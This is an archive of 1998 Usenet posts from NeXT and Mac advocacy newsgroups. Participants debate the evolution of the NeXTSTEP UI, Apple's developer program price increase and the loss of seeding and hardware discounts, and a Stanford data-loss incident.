> > > True. But that doesn't mean it'll necessarily be better. Whereas with
the
> > > second (ie NeXTSTEP), they were able to start with a blank slate and
come up
> > > with the best UI they could, in the case of the third they are very
much
> >
> > Well, some of the things they did differently in NeXTSTEP were done
> > differently from Apple primarily to avoid stepping on Apple's toes in
this
> > regard. At the time, Apple was still fighting for its "look and feel" in
> > court with Microsoft (which had no such qualms as NeXT in ripping off
> > Apple.)
>
> Actually, "at the time" (1985-1988) Apple hadn't even begun to sue
> Microsoft over the look and feel of Windows, because Windows 3.0 (the
> first version that was even remotely Mac-like) wouldn't even ship for
> another two years. But I think you may be right that there were some
> limitations on what Next could do that might have been too similar to the
> Macintosh.
>
All of this seems to overlook the fact that the NEXTSTEP UI did mature
considerably between 1.0 and 3.3. A number of often subtle new features were
introduced, and some not so subtle, like the complete redesign of the
Workspace browser. Looking at the 1.0 browser you would be hard pushed to
call it elegant given the standard that the current version offers now.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: cost of development tools
Date: 7 Apr 1998 09:54:36 GMT
Organization: P & L Systems
Message-ID: <6gct4s$fhe$11@ironhorse.plsys.co.uk>
References: <01bd6197$3b09b5d0$1e2168cf@test1>
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In <01bd6197$3b09b5d0$1e2168cf@test1> "Todd Heberlein" wrote:
> I went to run the debugger on a core file from my DEC UNIX today, and
> I discovered the C++ compiler (which I paid for) doesn't come with a
> debugger!!
>
> I just spent $1,350 for a license to their command line debugger
> called ladebug (like gdb or dbx) just so I can look at the core file.
>
> That is going to be one expensive little bug fix.
>
Ah well, that's Compaq for you ;-)
Best wishes,
mmalc.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 9 Apr 1998 15:34:25 GMT
Organization: @Home Network
Message-ID: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com>
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http://www.mercurynews.com/business/center/stanford09.htm
Stanford.edu is the new PosterChild for Apple today in the wake of a
disaster which cost Windows users dearly. Mac users and Unix mainframes
emerged unscathed from a network "upgrade" which went arwy. Lost in the
maintenance were Phd. dissertations, databases, files and research notes
covering _years_ of work. Stanford Univ. School of Business, Windows-based
curriculum, has "tarnished" the institution's reputation and "erased"
years of academic work. The disaster affects 10 - 15 faculty and doctoral
candidates directly posing a "serious blemish" for the School of Business.
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 9 Apr 1998 16:49:32 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6giu6s$6j$5@anvil.BLaCKSMITH.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu>
kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
> mmalcolm crawford (malcolm@plsys.co.uk) wrote:
[ ... ]
> Because I might develop some useful freeware. With your attitude there'd
> never be any freeware at all. Without freeware, perhaps NeXT would have
> been later with NeXTSTEP (no GNU tools jumpstart) and Rhapsody today would
> not exist. Not all software should be free, but some of it always should.
Why on earth do you need to be seeded with early beta copies in order to
write useful freeware?
>: In the bad old days when NeXT's developement tools alone cost seven times
>: that amount there was no shortage of freeware or shareware.
>
> Bzzzt. Wrong, but thank you for playing. If you bought NeXTSTEP as
> an academic machine or later as an academic bundle CD-ROM, the development
> tools were free or *very* cheap. Remember, NeXT was orignially academic
> only. Lots of cool freeware came out very quickly.
Apparently, Apple is planning on providing on providing a very low cost
academic program to similiarly encourage that crowd....
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 9 Apr 1998 17:02:45 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6giuvl$6j$7@anvil.BLaCKSMITH.com>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <erkyrathEr4984.8MF@netcom.com>
erkyrath@netcom.com (Andrew Plotkin) wrote:
[ ... ]
>> But shareware programmers often fill in the gaps that commercial software
>> leaves. Also shareware programmers learn the ropes via feedback from their
>> customers and are often high school/college students who later enter the
>> Mac programming field as professionals.
>
> No kidding.
>
> I'm an individual, free-time, freeware/shareware Mac developer. I've been
> writing freeware games (text adventures) and doing a *lot* of work in
> porting free games and game systems to the Mac. (Yeah, text adventures
> are a tiny little niche of the game world. Everybody's got their niche.)
> I may get back into Mac shareware someday.
Okay, that's cool. I'm not sure I understand the problem, though.
Do you believe you need access to RDR1 in order to write Mac shareware/freeware?
The Mac SDK's are still freely downloadable, and I expect that when Rhapsody is
further along and closer to release, people will be able to get a hold of it far
more readily than the limited seeding done with DR1.
> If Apple really wants me to "be annoyed, discouraged, and drop off"...
> well, then the Mac game world will get that much smaller.
I don't think Apple wants that.
I think Apple is trying to improve their efficiency on how they spend resources
doing a beta testing program (with regard to RDR seeding), and they are ending
the gratuitous abuse of "pseudo-developers" spending $250 solely to get hardware
discounts who never write a line of code.
> I don't think Apple really wants that, as you (Rex Riley) claim. I *do*
> think they're willing to *accept* it in exchange for higher short-term
> profits from their developer program. No surprise there.
Apple makes money in lots of ways, but I doubt they regard their developer
program fees as a source of income. They make the vast majority of their money
off of direct hardware and software sales, as well as support contracts,
training, and consulting revenues.
> Is there any money in the BeOS shareware game market?
I would hazard that text-based adventure games would fare somewhat poorly for
BeOS, given that platforms stated focus of multimedia and their programmatic
conventions of multithreading everything.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Le_Jax@iName.com (Jacques Foucry)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 9 Apr 1998 20:07:38 +0200
Organization: Correze Software
Message-ID: <1998040920073876968@dialup-202.def.oleane.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <1d76snt.17ecjre1ykt2xdN@ppgutkneco.lirmm.fr>
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Olivier Gutknecht <gutkneco+news@lirmm.fr> wrote (écrivait) :
> Agreed. The only explanation is that Apple is not interested anymore in
> small/independant development groups.
Perhaps, but without small/independant developer, no "Super Clock", no
"Stickies", no new Control Strip...
--
Calendriers 3.0 est disponible.
Vous le trouverez sur le ouèbe de la BurpTeam
<http://www.burpteam.home.ml.org>
From: trev@sc.edu (Trevor Zion Bauknight)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Thu, 09 Apr 1998 12:06:05 -0400
Organization: Metaphysical Bunko Squad
Message-ID: <trev-0904981206050001@nas-sa-p5.usc.net>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com>
In article <6gipq1$9g2$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
> years of academic work. The disaster affects 10 - 15 faculty and doctoral
> candidates directly posing a "serious blemish" for the School of Business.
Ouch! That's not funny. One can only hope this gets well-publicized...
Trev (who would probably keep his Ph.D. dissertation with him in some way)
--
http://www.uscsu.sc.edu/~tzbaukni
trev@sc.eduEATMOSPAM (unmunge)
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 7 Apr 1998 13:16:15 GMT
Organization: P & L Systems
Message-ID: <6gd8uv$fhe$12@ironhorse.plsys.co.uk>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36>
<3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net>
<3522A4BC.74C7BEF0@nstar.net> <us5d8eywho8.fsf@ai.mit.edu>
<6g53vk$r9p$1@ironhorse.plsys.co.uk> <o7KyEfuRCBOD@cc.usu.edu>
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In <3529c40c.0@206.25.228.5> John Kheit wrote:
> Still, I think Mike's criticism, even if technically not spot on,
> is a very valid one.
>
Umm, no, Mike's contention (IIRC) was that in order to install a particular
package, he had to log out then log in again as root. This is *absolutely
not the case*.
Given his prediliction for Unix-style interaction, my command-line solution
should have been entirely satisfactory. Alternatively, OpenSesame (which I
suspect may not have been installed on his system) would have also provided a
solution.
> There are a lot of times when you want to
> run something as not root, but as another user. You can't do that
> via OpenSesame.app (as far as I know, please correct me if I'm
> wrong). OpenSesame.app *only* lets you run things as root, or run
> things on another machine. So one may only resort to the command
> line to launch things as another user (excepting root). There
> really should be an easier way.
>
This is probably a valid point, but it answers a criticism Mike was not
making.
Best wishes,
mmalc.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Enthusiastic about Apple (was Re: accuracy of Stepwise Krishna article)
Date: 7 Apr 1998 08:24:47 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6gcnsf$174$1@ns3.vrx.net>
References: <6eoo28$c1p$1@crib.bevc.blacksburg.va.us> <6eq7kp$pl2@mochi.lava.net>
<slrn6h2ggl.gdm.marko@ns1.vrx.net> <6erm0k$p1f$2@ironhorse.plsys.co.uk>
<6erpdg$96o$1@news.xmission.com> <6escen$to2$1@nnrp1.dejanews.com>
<6etffv$g96$9@ns3.vrx.net> <6ev46i$qkn$1@nnrp1.dejanews.com>
<6eulns$fh3$1@ns3.vrx.net> <quinlan-2003982045060001@pm22s6.intergate.bc.ca>
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<6f71cv$p1f$12@ironhorse.plsys.co.uk> <6fc2nm$46d$1@nnrp1.dejanews.com>
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<rmcassid-2603982220490001@dialin9018.slip.uci.edu> <6gb2hv$kc8$3@anvil.BLaCKSMITH.com>
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In <6gcql4$fhe$8@ironhorse.plsys.co.uk> mmalcolm crawford claimed:
> Meanwhile, as Chuck also said, I very much get the impression that Apple is
> setting itself on a track that will bring YellowBox (the main technology
most
> of us here are interested in) to the masses. This is good news for
Rhapsody
> developers.
At this point I think one can only pray!
Maury
From: steve@discoverysoft.com (Steven Fisher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 12:01:50 -0700
Organization: Discovery Software Ltd.
Message-ID: <steve-0904981201500001@oranoco.discoverysoft.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu> <6gi8o4$oop$9@ironhorse.plsys.co.uk>
In article <6gi8o4$oop$9@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
>In <6ghf6g$e1u$1@geraldo.cc.utexas.edu> Kurt D. Bollacker wrote:
>
>> : If anyone is wanting to develop for Rhapsody professionally and doesn't
>have
>> : $500, they don't have a business plan. If you're intending to write
>> : shareware, then $500 is a reasonable investment if you believe you have
>> : something useful to contribute. If you're writing Rhapsody apps for a
>hobby,
>> : why should I subsidise your playtime?
>>
>> Because I might develop some useful freeware. With your attitude there'd
>> never be any freeware at all. Without freeware, perhaps NeXT would have
>> been later with NeXTSTEP (no GNU tools jumpstart) and Rhapsody today would
>> not exist. Not all software should be free, but some of it always should.
>>
>How is not being a member of the program going to stop people from producing
>freeware if they want? Why does anyone producing freeware need advance
>access to beta software?
I would think this extends to shareware as well.
Would Default Folder have been able to support MacOS 8 as it shipped if
Jon Gotow hadn't had acess to betas of MacOS 8?
Would Kaleidoscope have supported MacOS 8 and MacOS 8 interface elements
immediately if Greg Landweber hadn't had acess to betas of MacOS 8?
Don't you feel better knowing that the freeware and shareware software you
use is being tested long before the next MacOS is actually released? This
stuff doesn't happen by magic. Elves don't do it in the middle of the
night. It's the efforts of developers such as Greg and Jon that make sure
this stuff works.
Now, chances are everyone has heard of Default Folder and Kaleidoscope.
Chances are that both Greg and Jon can easily afford the new programs now.
But they probably couldn't have when they first started.
So which new software developer will Apple block that could have become
the next Andrew Welch, Greg Landweber, Jon Gotow or Raymound Lou? (Hope I
spelt that last one right... if not, sorry.)
--
Steven Fisher; Discovery Software Ltd.; steve@discoverysoft.com
"Anyone who has never made a mistake has never tried anything new."
-- Albert Einstein
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 98 18:59:30 GMT
Organization: QMS
Message-ID: <6gj5ps$3qf$1@news01.deltanet.com>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu>
In article <B1511019-15903@206.165.43.154>, "Lawson English"
<english@primenet.com> wrote:
>Trying to make developer *support* a profit center is an INSANE idea.
>Hopefully, either Jobs will change this, or the more rational stockholders
>will hear about it in time to vote against him because this one action, *BY
>ITSELF*, will destroy Apple.
For what it is worth, my proxy is sitting on my desk now, and I have
a very brief time to get it in the mail in time for the stockholder
meeting. It is a pity that there is no easy way to say, even en
masse "I will vote against your appiontment to the BoD because
of the following move" before the day itself. Even after voting,
there is little way for them to know why a group of shareholders
voted the way they did. The stockholders thus have little way
of communicating why they are acting the way they are.
NB, I do not think stockholders should be running a company
particularly, but it is good for directors to know the reasons
why the stockholders react the way they do.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: Sam Krishna <skrishna@raleigh.ibm.com>
Newsgroups: comp.sys.next.advocacy
Subject: If you want to beat Microsoft, file suit in Europe....
Date: Tue, 07 Apr 1998 08:35:52 -0500
Organization: IBM Corp.
Message-ID: <352A2BB8.9DCBC67F@raleigh.ibm.com>
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It looks like Microsoft backs down (again) in Europe.
Check it out:
http://www.msnbc.com/news/156560.asp
Now, is it just me, or has 3Com figured out how to successfully litigate
against Microsoft by filing suit in Europe, a continent that does not
tolerate monopolies like the Feds do.
The Microsoft restrictions against SCO were also dropped after the
Europeans forced Microsoft to do so.
Sam Krishna
From: xhsoft@injep.fr (Xavier Humbert)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Fri, 10 Apr 1998 15:08:27 +0200
Organization: Maquis Usenet Ouest
Message-ID: <1d79xzo.1eithty186myblN@hobbit1.injep.fr>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <ericb-0904981701440001@132.236.171.104>
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Eric Bennett <ericb@pobox.com> wrote:
> There are lots of good examples like this.
[snip]
Your forgot Glenn Anderson's Eudora Internet Mail Server
Xav
--
Xavier HUMBERT Laboratoire Informatique INJEP
Office: labo-info/AT/injep.fr Home: humbert/AT/injep.fr
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 98 19:13:23 GMT
Organization: QMS
Message-ID: <6gj6js$3qf$3@news01.deltanet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net>
In article <joe.ragosta-0804981906460001@elk68.dol.net>, joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <mazulauf-0804981503390001@sneezy.met.utah.edu>,
>mazulauf@atmos.met.utah.edu (Mike Zulauf) wrote:
>
>> In article <joe.ragosta-0804980858150001@wil77.dol.net>,
>> joe.ragosta@dol.net (Joe Ragosta) wrote:
>>
>> > Actually, there were rumors that there would be a very low price
>> > educational plan. You might want to wait for the educational pricing
>> > before worrying too much.
>>
>> The eternal Joe Ragosta reply. "All is well. Don't worry. Wait for
>details."
>>
>> Unfortunately, when details do come out, you're just as screwed as ever. . .
>
>Please explain how you're so badly screwed.
Because they removed a primary benefit for the current Associates
without warning, and did not provide at least one of the two supposed
added benefits for those being transitioned.
According to the contract, they can do this without warning, but
my suspicion is that the current developer contract would leave
them open to an interesting class action suit.
I have not yet heard back from the credit card company about
whether they are willing to reverse my developer renewal. Thier
comment was that as the contract explicitly states they may
change any programl, and will never give either a full or partial
refund, it is dicey. On the other hand, the contract seems to
be invalid because it includes so many weasel words about what
they do not have to do that the bank is unsure whether the
contract counts as enforcable.
>The monthly mailing is available for $50 less than the old Associate
> membership.
We do not have any indicators about whether Rhapsody will be
included in those mailings.
>The lowest paid developer status is $500 instead of $250. If you really
>need to get the beta OS versions, your cost went up by $250. But everyone
>else seems to be better off.
You miss the point, I think, that the loss of hardware purchase privs
in mid year is a substantial change in the benefits.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 98 19:18:03 GMT
Organization: QMS
Message-ID: <6gj6sk$3qf$4@news01.deltanet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com> <joe.ragosta-0804982109560001@elk62.dol.net>
In article <joe.ragosta-0804982109560001@elk62.dol.net>, joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <MPG.f95d7e4b8fb1622989890@news.supernews.com>,
>don.brown@cesoft.com (Donald Brown) wrote:
>
>> In article <joe.ragosta-0804981906460001@elk68.dol.net>,
>> joe.ragosta@dol.net says...
..
>> > The lowest paid developer status is $500 instead of $250. If you
really
>> > need to get the beta OS versions, your cost went up by $250. But everyone
>> > else seems to be better off.
>> Including Microsoft, who looks better and better every day.
>Anyone notice that people like Mr. brown here, who would apparently never
>go near a Mac from reading his posts, are the ones complaining while
>developers like mmalc are supporting the change?
Don't be an ass, Joe. A fair number of Real Mac developers are rather
vexed at the change. By simple extension, you seem to be claiming
that those who are complaining are those who do not develop Mac apps.
I submit a good 150KLOC of Macintosh C++ code and a shipping,
though dying, Mac app to the contrary.
I know this makes it harder for me to get Macs back in this shop. I
also know that it makes it harder for me to develop for them on a
personal level. This combination is not good.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 98 12:17:27 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B1526CE7-65D6E@207.217.155.85>
References: <01bc455b$1be404c0$18f0bfa8@davidsul>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.earthlink.net/comp.sys.mac.oop.powerplant,
nntp://news.earthlink.net/comp.sys.mac.programmer.codewarrior,
nntp://news.earthlink.net/comp.sys.next.advocacy,
nntp://news.earthlink.net/comp.sys.next.programmer
>I think it would be great if they get sued, Apple being the one whose
legal
>department threatens web sites like macintouch, and they do something like
>this.
I don't know anyone who has the stomach to sue over $250. And even if one
could get 5000 developers to participate, it's likely they'd have to
collectively assume liability for legal costs if they lose and that they'd
get anything more than a paralegal working on the case.
Each individual developer needs to evaluate whether $500 is a good deal for
the services offered. I know I'll be making that evaluation in July.
>I also hope several developers pass this on to the media, I am sure the
>media would love to flame apple for this and god knows apple deserves a
>good spanking for this
A spanking over a fairly reasonable tactical move sends the wrong message.
This move would not have been met with intense cynicism if developers
thought Apple had an overall clue and direction and appreciation of how
developers support Apple. It starts from the top, and unfortunately, is
beyond the control of ADR.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 98 19:31:38 GMT
Organization: QMS
Message-ID: <6gj7m3$3qf$5@news01.deltanet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <6ggaju$rts$4@news01.deltanet.com> <j-jahnke-0804982247240001@192.168.1.3>
In article <j-jahnke-0804982247240001@192.168.1.3>, j-jahnke@uchicago.edu (Jerome Jahnke) wrote:
>In article <6ggaju$rts$4@news01.deltanet.com>, scott@eviews.com (Scott
>Ellsworth) wrote:
>
>> In article <j-jahnke-0704982342480001@192.168.1.3>,
>j-jahnke@uchicago.edu (Jerome Jahnke) wrote:
>> >In article <trumbull-0704981900290001@net44-223.student.yale.edu>,
>> >trumbull@cs.yale.edu (Ben Trumbull) wrote:
>> >
>> >> I'm not about to stand up and say these changes are a great idea on
>> >> Apple's part, but you do realize, you can buy *just* the tech mailing
>> >> (including develop) for $199 ?
>> >
>> >Which is what we used to do, but then realized you could not get seeded
>> >unless you were an associate.
>>
>> I, as well.
>>
>> Hmmm. Hell may have just frozen over - I find myself agreeding
>> with both of your last two posts.
>
>Boy, you sure know how to hold a grudge...
To be fair, I was mostly in a pissed off mood regarding Apple's recent
licensing, and let that slip into my phrasing on other matters.
Since I said the above in a public place, the apology belongs there
too.
My apologies.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 12:51:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15275E3-3AE0B@206.165.43.139>
References: <j-jahnke-0904980214320001@192.168.1.3>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Jerome Jahnke <j-jahnke@uchicago.edu> said:
> >
> > Perhaps. But they do still provide you with all the other
> > stuff, the CD's, the mailings etc.. that does cost Apple money.
>
> It don't cost 500 bucks...
Won't the latest version of Rhapsody come with the subscription?
$250/year was enough to prevent most people from purchasing a developer CD
subscription just to get ahold of the latest versions of MacOS when they
were distributed.
$500/year probably is deemed enough to prevent most people from purchasing
the new developer package in order to get the latest update of Rhapsody OS.
That's the only rational explanation for this that I can see since you just
can't justify charging less than cost for producing the developer product
but more than distribution cost unless it is to control access to Rhapsody
via pricing.
Of course, this is Steve Jobs that we're talking about and he may really
believe that developers should "pay their fair share."
[those @#$%&^&* leeches!]...
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 98 19:45:04 GMT
Organization: QMS
Message-ID: <6gj8f9$3qf$6@news01.deltanet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net> <6ggmk2$jdl$1@news.digifix.com> <6ggqha$9fk$1@news01.deltanet.com> <6ghg4o$np$1@news.digifix.com>
In article <6ghg4o$np$1@news.digifix.com>, sanguish@digifix.com (Scott Anguish) wrote:
>On 04/08/98, Scott Ellsworth wrote:
>>In article <6ggmk2$jdl$1@news.digifix.com>, sanguish@digifix.com
>(Scott Anguish) wrote:
><snip>
..
>>I know two other developers at former cross platform shops doing
>>much the same. God only knows if this will work, but it is the
>>case that QMS has already decided to drop Mac development,
>>so they are a lost cause if I cannot change that.
>>
>
> If they're being so petty as to not be willing to pay the
>$500, then they should talk to Apple. Although realistically I know
>of several large commercial developers who never take advantage of
>Apple's programs, and use CodeWarrior for all development.
I may have misphrased the above. Let me try again.
QMS is not being petty. They have decided to drop Mac development
unless someone here convinces them otherwise. That means all of the
resources expended to justify more Mac development come out of my
pocket.
They are also unconvinced by anything other than a demo of a working
product, so the only help Apple can give me are tools that I can use
to Gee-Whiz them back into interest.
The seeds were a way of doing that, because Rhapsody is quite neat
in concept. They were reasonably receptive to NextStep five years
ago, after all. Clearly, I cannot show them the seeds before Apple
ships CR1, but I can prepare what I am going to use. Having access
to them gives me a chance to be ready, so that whatever media
presence Apple can garner will be happening when I have something
available, instead of six months later.
Like I said, this may not be relevant, but it is a reason why I found
it worth $250 to get the seed materials, and may find it worth $500.
Were I certain, absolutely certain, that Rhapsody would be a part
of the standard developer mailing CDs, then I might decide the
lost time is acceptable, and switch to mailings instead.
The recent changes, though, have entered some doubt in my
mind - it is quite clear that they want to position Rhapsody
differently, and a case might be made that the general developer
does not need access. We do not know what will happen, but
this is the first time that they have clearly made a delinitation
between those who have cheap access, and those who have
expensive, in terms of information, instead of just human
contact.
The unilateral drop in purchase privs also reveals that there
is no way to plan your own needs, as when Rhapsody nears
shipping, they will doubtless make decisions, and pre-
existing agreements will hold little weight.
>>>Few, if any, of the people pissing and moaning about loosing
>>>access to the seeding program actually NEED access to it in many
>>>cases.
>>
>>Of course, they changed the rules in mid year, such that anyone
>>already paying for a developer subscription got substantially
>>fewer benefits. (Specifically, dropping the hardware agreement
>>unlaterally is far from a nice move, and changes the economic
>>impact of the developer program substantially.)
>
> Have you purchased under this program? You can get virtually
>equivalent prices elsewhere.
This is a valid point. My own readings got different results, but
we may be quibbling over details.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: trumbull@cs.yale.edu (Ben Trumbull)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 15:54:15 -0400
Organization: Yale University
Message-ID: <trumbull-0904981554150001@net44-223.student.yale.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <352AAF57.25EB@skdjsk.no> <6geche$8lu$1@news2.apple.com> <philipm-0804982051170001@pm1-23.eecs.umich.edu> <6gj0or$oop$12@ironhorse.plsys.co.uk>
In article <6gj0or$oop$12@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> > You don't think Apple loses on hardware sold at developer prices?
> >
> Compared to hardware sold at retail prices, yes.
that's pure fiction. Retailers take a huge chunk out of Apple's net on
those sales. And the hardware discounts were never very impressive,
imho. Think about. Does Apple make more money if Apple sells X a Mac or
if Cyberian Outpost sells X a Mac ?
terminally curious,
Ben
___________________________________________________________________
Benjamin Trumbull
trumbull@cs.yale.edu
Yale University
You can't be in hell; you can still read your e-mail
From: ericb@pobox.com (Eric Bennett)
